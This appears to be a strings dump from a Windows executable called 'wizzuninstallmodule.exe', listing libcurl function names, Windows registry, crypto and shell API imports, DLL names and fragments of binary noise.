GCC: (tdm64-1) 4.9.2

wizzuninstallmodule.exe

curl_easy_cleanup

curl_easy_duphandle

curl_easy_escape

curl_easy_getinfo

curl_easy_init

curl_easy_pause

curl_easy_perform

curl_easy_recv

curl_easy_reset

curl_easy_send

curl_easy_setopt

curl_easy_strerror

curl_easy_unescape

curl_escape

curl_formadd

curl_formfree

curl_formget

curl_free

curl_getdate

curl_getenv

curl_global_cleanup

curl_global_init

curl_global_init_mem

curl_maprintf

curl_mfprintf

curl_mprintf

curl_msnprintf

curl_msprintf

curl_multi_add_handle

curl_multi_assign

curl_multi_cleanup

curl_multi_fdset

curl_multi_info_read

curl_multi_init

curl_multi_perform

curl_multi_remove_handle

curl_multi_setopt

curl_multi_socket

curl_multi_socket_action

curl_multi_socket_all

curl_multi_strerror

curl_multi_timeout

curl_multi_wait

curl_mvaprintf

curl_mvfprintf

curl_mvprintf

curl_mvsnprintf

curl_mvsprintf

curl_share_cleanup

curl_share_init

curl_share_setopt

curl_share_strerror

curl_slist_append

curl_slist_free_all

curl_strequal

curl_strnequal

curl_unescape

CryptDestroyKey

CryptImportKey

RegCloseKey

RegCreateKeyExA

RegOpenKeyA

RegOpenKeyExA

_acmdln

_amsg_exit

ShellExecuteExA

ADVAPI32.dll

KERNEL32.dll

msvcrt.dll

SHELL32.DLL

WS2_32.dll

WSOCK32.DLL

2%2C2L2b2

2.282>2^2

3/464=4}4

7 80878 90979

8 9(909\9

=0>8>@>^>

> >$>0>4>8>

: :$:(:,:0:4:8:

;$;(;,;0;4;8;

c%m/%d/%y

emsvcrt.dll

!"#$%&'()* ,-./012345678